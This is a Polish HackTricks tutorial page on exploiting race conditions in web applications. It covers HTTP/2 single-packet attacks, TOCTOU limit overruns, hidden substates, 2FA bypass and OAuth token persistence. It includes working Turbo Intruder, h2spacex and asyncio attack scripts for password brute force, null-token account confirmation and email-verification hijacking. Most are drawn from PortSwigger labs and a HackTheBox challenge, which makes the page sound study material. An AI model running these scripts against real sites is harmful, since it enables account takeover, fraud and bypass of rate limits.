Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

Race Condition

Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest
Zacznij od zera i zostań mistrzem hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Aby uzyskać głębsze zrozumienie tej techniki, sprawdź oryginalny raport na stronie https://portswigger.net/research/smashing-the-state-machine

Wzmacnianie ataków wyścigu warunków

Główną przeszkodą w wykorzystaniu wyścigów warunków jest zapewnienie, że wiele żądań jest obsługiwanych jednocześnie, z bardzo niewielką różnicą w czasach ich przetwarzania—idealnie poniżej 1 ms.

Oto kilka technik synchronizacji żądań:

Atak pojedynczym pakietem HTTP/2 kontra synchronizacja ostatniego bajtu HTTP/1.1

  • HTTP/2: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ zakłóceń sieci. Jednak ze względu na zmienności po stronie serwera, dwa żądania mogą nie wystarczyć do skutecznego wykorzystania wyścigu warunków.

  • HTTP/1.1 'Synchronizacja ostatniego bajtu': Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.

Przygotowanie do synchronizacji ostatniego bajtu obejmuje:

  1. Wysłanie nagłówków i danych ciała bez ostatniego bajtu bez zakończenia strumienia.

  2. Poczekanie 100 ms po początkowym wysłaniu.

  3. Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do partycjonowania końcowych ramek.

  4. Pobudzenie połączenia poprzez pingowanie.

Następne wysłanie zatrzymanych ramek powinno skutkować ich przybyciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.

Dostosowanie do architektury serwera

Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w inny sposób, wpływając na czasowanie. Wstępne rozgrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czasowanie żądania.

Obsługa blokady opartej na sesji

Frameworki takie jak PHP obsługujące sesje serializują żądania według sesji, potencjalnie zaciemniając podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.

Przezwyciężanie limitów szybkości lub zasobów

Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów szybkości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczym pakietem, wywołując opóźnienie po stronie serwera sprzyjające wyścigom warunków.

Przykłady ataków

  • Tubo Intruder - atak pojedynczym pakietem HTTP2 (1 punkt końcowy): Możesz wysłać żądanie do Turbo Intruder (Rozszerzenia -> Turbo Intruder -> Wyślij do Turbo Intruder), możesz zmienić w żądaniu wartość, którą chcesz brutalnie siłować dla %s jak w csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s, a następnie wybrać examples/race-single-packer-attack.py z listy rozwijanej:

Jeśli zamierzasz wysłać różne wartości, możesz zmodyfikować kod na taki, który używa listy słów z schowka:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Jeśli witryna nie obsługuje HTTP2 (tylko HTTP1.1), użyj Engine.THREADED lub Engine.BURP zamiast Engine.BURP2.

  • Tubo Intruder - atak jednopakietowy HTTP2 (Wiele punktów końcowych): W przypadku konieczności wysłania żądania do jednego punktu końcowego, a następnie wielu do innych punktów końcowych w celu wywołania RCE, można zmodyfikować skrypt race-single-packet-attack.py na coś w rodzaju:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)

  • Jest również dostępny w Repeaterze za pomocą nowej opcji 'Wysyłaj grupę równolegle' w Burp Suite.

  • Dla limit-overrun można po prostu dodać tę samą prośbę 50 razy w grupie.

  • Dla rozgrzewania połączenia, można dodać na początku grupy kilka żądań do niezmiennego fragmentu serwera internetowego.

  • Aby opóźnić proces między przetwarzaniem jednego żądania a drugim w 2 krokach podstanu, można dodać dodatkowe żądania między oba żądania.

  • Dla wielopunktowego RC można zacząć wysyłać żądanie, które przechodzi do ukrytego stanu, a następnie 50 żądań zaraz po nim, które wykorzystują ukryty stan.

  • Zautomatyzowany skrypt python: Celem tego skryptu jest zmiana adresu e-mail użytkownika, ciągle weryfikując go, aż token weryfikacyjny nowego adresu e-mail dotrze do ostatniego adresu e-mail (to dlatego, że w kodzie widziano RC, gdzie można było zmodyfikować adres e-mail, ale weryfikacja została wysłana na stary adres, ponieważ zmienna wskazująca adres e-mail była już wypełniona pierwszym). Gdy słowo "objetivo" zostanie znalezione w otrzymanych e-mailach, wiemy, że otrzymaliśmy token weryfikacyjny zmienionego adresu e-mail i kończymy atak.

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Surowy BF

Przed poprzednimi badaniami używano następujących ładunków, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować wyścig.

  • Powtarzacz: Sprawdź przykłady z poprzedniej sekcji.

  • Intruz: Wyślij żądanie do Intruz, ustaw liczbę wątków na 30 w menu Opcje, wybierz jako ładunek Puste ładunki i wygeneruj 30.

  • Turbo Intruz

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)

  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Metodologia RC

Limit-overrun / TOCTOU

To jest najbardziej podstawowy rodzaj warunku wyścigowego, gdzie podatności pojawiają się w miejscach, które ograniczają liczbę razy, jakie można wykonać akcję. Na przykład używanie tego samego kodu rabatowego w sklepie internetowym kilka razy. Bardzo łatwy przykład można znaleźć w tym raporcie lub w tym błędzie.

Istnieje wiele wariantów tego rodzaju ataku, w tym:

  • Wymienianie karty podarunkowej wielokrotnie

  • Ocenianie produktu wielokrotnie

  • Wypłacanie lub transferowanie gotówki przekraczającej stan konta

  • Ponowne wykorzystanie jednego rozwiązania CAPTCHA

  • Ominiecie limitu szybkości anty-brute-force

Ukryte podstany

Wykorzystywanie złożonych warunków wyścigowych często polega na korzystaniu z krótkich okazji do interakcji z ukrytymi lub niezamierzonymi podstanami maszyny. Oto jak podejść do tego:

  1. Zidentyfikuj Potencjalne Ukryte Podstany

  • Zacznij od zlokalizowania punktów końcowych, które modyfikują lub współdziałają z krytycznymi danymi, takimi jak profile użytkowników czy procesy resetowania hasła. Skup się na:

  • Przechowywanie: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, nad tymi obsługującymi dane po stronie klienta.

  • Akcja: Szukaj operacji, które zmieniają istniejące dane, co bardziej prawdopodobne jest, że stworzą warunki do eksploatacji w porównaniu do tych, które dodają nowe dane.

  • Kluczowanie: Udane ataki zazwyczaj obejmują operacje oparte na tym samym identyfikatorze, np. nazwie użytkownika lub tokenie resetowania.

  1. Przeprowadź Początkowe Sondowanie

  • Przetestuj zidentyfikowane punkty końcowe atakami warunków wyścigowych, obserwując wszelkie odstępstwa od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować podatność.

  1. Wykaż Podatność

  • Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często tylko dwóch. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjny czas zaangażowany.

Ataki Czasowo Czułe

Precyzja w czasowaniu żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasu. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasu mogłoby pozwolić na identyczne tokeny dla równoczesnych żądań.

Aby Wykorzystać:

  • Użyj precyzyjnego czasowania, jak w ataku jednopakietowym, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność.

Przykład:

  • Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.

Sprawdź to Laboratorium PortSwigger aby to wypróbować.

Studia przypadków ukrytych podstanów

Zapłać i dodaj przedmiot

Sprawdź to Laboratorium PortSwigger, aby zobaczyć, jak zapłacić w sklepie i dodać dodatkowy przedmiot, za który nie trzeba płacić.

Potwierdź inne e-maile

Idea polega na zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny, aby dowiedzieć się, czy platforma weryfikuje nowo zmieniony.

Zmień e-mail na 2 adresy e-mail oparte na plikach Cookie

Zgodnie z tą analizą Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł wysłać token weryfikacyjny e-maila z jednego adresu e-mail na drugi.

Sprawdź to Laboratorium PortSwigger aby to wypróbować.

Ukryte stany bazy danych / Ominięcie Potwierdzenia

Jeśli używane są 2 różne zapisy do dodania informacji do bazy danych, istnieje krótki okres czasu, gdy tylko pierwsze dane zostały zapisane w bazie danych. Na przykład podczas tworzenia użytkownika nazwa użytkownika i hasło mogą być zapisane, a następnie token do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas token do potwierdzenia konta jest nullem.

Dlatego zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem (token= lub token[]= lub inna wariacja) w celu natychmiastowego potwierdzenia konta może pozwolić na potwierdzenie konta, którego nie kontrolujesz.

Sprawdź to Laboratorium PortSwigger aby to wypróbować.

Ominięcie 2FA

Poniższy pseudokod jest podatny na warunek wyścigowy, ponieważ w bardzo krótkim czasie 2FA nie jest wymagane, podczas gdy sesja jest tworzona:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

Wieczysta trwałość OAuth2

Istnieje kilka dostawców OAuth. Te usługi pozwolą Ci utworzyć aplikację i uwierzytelnić użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, klient będzie musiał zezwolić Twojej aplikacji na dostęp do niektórych ich danych wewnątrz dostawcy OAuth. Więc, do tej pory to tylko standardowe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona informująca: "Aplikacja <InsertCoolName> chce uzyskać dostęp do Twoich informacji, czy chcesz jej na to zezwolić?"

Warunek wyścigu w authorization_code

Problem pojawia się, gdy zaakceptujesz i automatycznie wysyłasz authorization_code do złośliwej aplikacji. Następnie ta aplikacja wykorzystuje Warunek Wyścigu w dostawcy usługi OAuth, aby wygenerować więcej niż jedno AT/RT (Authentication Token/Refresh Token) z authorization_code dla Twojego konta. W skrócie, wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby utworzyć kilka kont. Następnie, jeśli zatrzymasz zezwolenie dla aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne.

Warunek wyścigu w Refresh Token

Gdy już uzyskasz ważny RT, możesz spróbować wykorzystać go do wygenerowania kilku AT/RT i nawet jeśli użytkownik anuluje uprawnienia dla złośliwej aplikacji do dostępu do swoich danych, kilka RT nadal będzie ważnych.

Warunek wyścigu w WebSockets

W WS_RaceCondition_PoC znajdziesz PoC w Javie do wysyłania wiadomości websocket równolegle, aby wykorzystać Warunki Wyścigu również w WebSockets.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Użyj Trickest, aby łatwo tworzyć i automatyzować workflowy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie. Zdobądź dostęp już dziś:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest
PreviousProxy / WAF Protections BypassNextRate Limit Bypass

Last updated